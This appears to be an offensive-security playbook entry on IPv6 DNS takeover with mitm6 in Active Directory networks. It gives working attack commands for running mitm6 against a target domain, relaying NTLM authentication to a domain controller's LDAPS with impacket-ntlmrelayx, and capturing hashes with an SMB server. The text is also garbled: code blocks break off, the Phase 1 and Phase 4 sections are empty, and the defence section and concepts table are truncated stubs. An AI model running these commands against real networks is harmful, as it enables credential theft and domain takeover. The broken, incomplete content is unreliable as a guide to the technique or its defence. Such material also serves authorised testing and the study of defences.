IPv6 DNS Takeover via mitm6

When to Use

• When operating in an Active Directory internal network and traditional IPv4 poisoners (like Responder/LLMNR/NBT-NS) are disabled or ineffective.
• To take advantage of Windows' default behavior of preferring IPv6 over IPv4, seizing control of internal DNS resolution to intercept NTLMv2 hashes or relay authentication.

Prerequisites

• Network access to the target subnet (VPN, pivot, or direct connection)
• Nmap and relevant network scanning tools installed
• Understanding of TCP/IP, common protocols, and network segmentation
• Root/admin access on the attack machine for raw socket operations

Workflow

Phase 1: Understanding the IPv6 Preference

# Concept: By default ```

### Phase 2: Running mitm6

```bash
# # mitm6 -d targetdomain.local -i eth0

Phase 3: Setting up the Relay or Capture

# impacket-ntlmrelayx -6 -t ldaps://domain-controller.targetdomain.local -wh attacker-wpad -l lootdir/

# # impacket-smbserver -smb2support share /tmp/loot (with responder running )

Phase 4: Exploiting the Spoofed Traffic

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Start mitm6 ] --> B{Traffic Intercepted? ]}
    B -->|Yes| C[Relay NTLM ]
    B -->|No| D[Check Network ]
    C --> E[Execute commands ]

🔵 Blue Team Detection & Defense

• Disable IPv6: Implement DHCPv6 Snooping: Network Segmentation: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ipv6 Dns Takeover Mitm6 — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Dirckjanm Blog: mitm6 - compromising IPv4 networks via IPv6
• Impacket: impacket Documentation